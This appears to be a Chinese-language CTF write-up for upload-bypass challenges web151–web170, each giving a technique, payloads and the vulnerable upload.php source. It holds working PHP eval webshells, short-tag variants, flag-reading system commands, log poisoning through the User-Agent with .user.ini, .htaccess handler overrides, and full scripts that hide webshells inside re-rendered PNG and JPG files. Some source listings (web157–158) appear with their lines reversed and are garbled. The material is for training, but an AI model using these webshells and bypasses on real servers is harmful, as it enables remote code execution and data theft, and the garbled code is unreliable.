web151
js验证
抓包直接绕过
这只能上传png
web152
content-type验证
<?php @eval($_POST["zf"]);?>
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-24 21:20:33
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web153
.user.ini绕过
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
具体的配置可以看该链接,也就是里面除了PHP_INI_SYSTEM模式的配置之外都可以在.user.ini进行重写.那么我们就去找我们需要用到的配置,发现auto_append_file和auto_prepend_file,一个相当于在每个php文件尾加上include(“xxx”),一个相当于在文件头加上include(“xxx”)其中xxx就是auto_append_file的值
为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为auto_append_file="xxx"xxx为我们上传的图片文件名.这样就在每一个php文件上包含了我们的木马文件.
但是这种方式是有前提的,是必须要在.user.ini目录下面有一个.PHP的文件才能进行包含
GIF89a
auto_prepend_file=zf.png
可见这里是存在的
接着上传一个zf.png文件
连接upload/index.php
upload.php
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-24 21:46:57
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web154
短标签绕过
<?@eval($_POST['zf']);?> 开启配置参数short_open_tags=on
<?=@eval($_POST['zf']);?> 等价于<?php echo (表达式)?> 不需要开启参数设置
<%@eval($_POST['zf']);%> 开启配置参数asp_tags=on,7.0以下可以使用
<script language="php">@eval($_POST['zf']);</script> 不需要修改参数开关,但是只能在7.0以下可
只有这个可行
upload.php
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-26 15:30:10
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(strrpos($content, "php")==FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"文件内容不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web155
<?@eval($_POST['zf']);?> 开启配置参数short_open_tags=on
<?=@eval($_POST['zf']);?> 等价于<?php echo (表达式)?> 不需要开启参数设置
upload.php
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-26 15:49:51
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web156
过滤[]
<?@eval($_POST{'zf'});?> 开启配置参数short_open_tags=on
<?=@eval($_POST{'zf'});?> 等价于<?php echo (表达式)?> 不需要开启参数设置
upload.php
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-26 15:49:51
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web157
过滤;
<?(system("tac ../fl*"))?>
<?=system('tac ../f*')?>
echo json_encode($ret);
}
return !preg_match('/php|\{|\[|\;/i', $str);
function check($str){
}
}
}
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
}
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
}
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
if(stripos($content, "php")===FALSE && check($content)){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if($ext_suffix!='php'){
$ext_suffix = $arr['extension'];
$arr = pathinfo($filename);
if($_FILES['file']['type'] == 'image/png'){
}else{
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
if($filesize>1024){
$filesize = ($_FILES["file"]["size"] / 1024);
$filename = $_FILES["file"]["name"];
{
else
}
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
{
if ($_FILES["file"]["error"] > 0)
web158
<?(system("tac ../fl*"))?>
<?=system('tac ../f*')?>
upload.php
echo json_encode($ret);
}
return !preg_match('/php|\{|\[|\;|log/i', $str);
function check($str){
}
}
}
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
}
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
}
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
if(stripos($content, "php")===FALSE && check($content)){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if($ext_suffix!='php'){
$ext_suffix = $arr['extension'];
$arr = pathinfo($filename);
if($_FILES['file']['type'] == 'image/png'){
}else{
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
if($filesize>1024){
$filesize = ($_FILES["file"]["size"] / 1024);
$filename = $_FILES["file"]["name"];
{
else
}
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
{
if ($_FILES["file"]["error"] > 0)
error_reporting(0);
*/
link: https://ctfer.com
email: h1xa@ctfer.com
Last Modified time: 2020-10-26 15:49:51
Last Modified by: h1xa
Date: 2020-10-24 19:34:52
Author: h1xa
# -*- coding: utf-8 -*-
/*
<?php
<?phpnothing here
web159
过滤括号;
<?=`tac ../fl*`?>
web160
日志包含
在ua上写入
<?=`tac ../fl*`?>
图片内容如下
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
web161
检查文件头前面加上
GIF89a
web162
条件竞争
web163
web164
png图片二次渲染绕过
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./zf.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
运行完上传
查看一下
curl + s保存 打开查看
web165
jpg图片二次渲染绕过
PHP1.php
<?php
$miniPayload = '<?php @eval($_POST["zf"]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
zf.jpg
直接上传
将图片保存到本地
运行
产生
上传
连接
upload.php
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-27 17:14:10
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/jpeg'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("jpg"))){
$jpg = imagecreatefromjpeg($_FILES["file"]["tmp_name"]);
if($jpg==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".jpg";
imagejpeg($jpg,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".jpg");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传jpg格式图片");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web166
上传zip文件
新建一个zip文件写入一句话
直接上传
下载的时候抓包
访问
upload.php
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-28 22:14:40
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'application/x-zip-compressed'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("zip"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.md5($_FILES["file"]["tmp_name"]).'.zip');
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["tmp_name"]).'.zip');
}else{
$ret = array("code"=>3,"msg"=>"只允许上传zip格式文件");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web167
.haccess绕过
先上传.htaccess文件
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
或者
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
先改名为.jpg哦
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-28 22:14:40
email: h1xa@ctfer.com
link: https://ctfer.com
*/
#error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/jpeg'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(!in_array($ext_suffix, array("php"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"只允许上传jpg格式文件");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
web168
免杀
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
这个还行
直接传php哦
访问
web169
.user.ini日志包含
上传zip哦,在该content
auto_append_file="/var/log/nginx/access.log"
上传一个user.ini ua加一句话
接着上传一个1.php文件,内容随便
连接1.php文件
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-30 00:11:17
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return preg_match('/eval|include|require|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>/i', $str);
}
echo json_encode($ret);
web170
<?php
/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-24 19:34:52
Last Modified by: h1xa
Last Modified time: 2020-10-30 00:11:17
email: h1xa@ctfer.com
link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>|\(|\)|\{|\[|\}|\]|\,|\%|\`|\~|\+/i', $str);
}
echo json_encode($ret);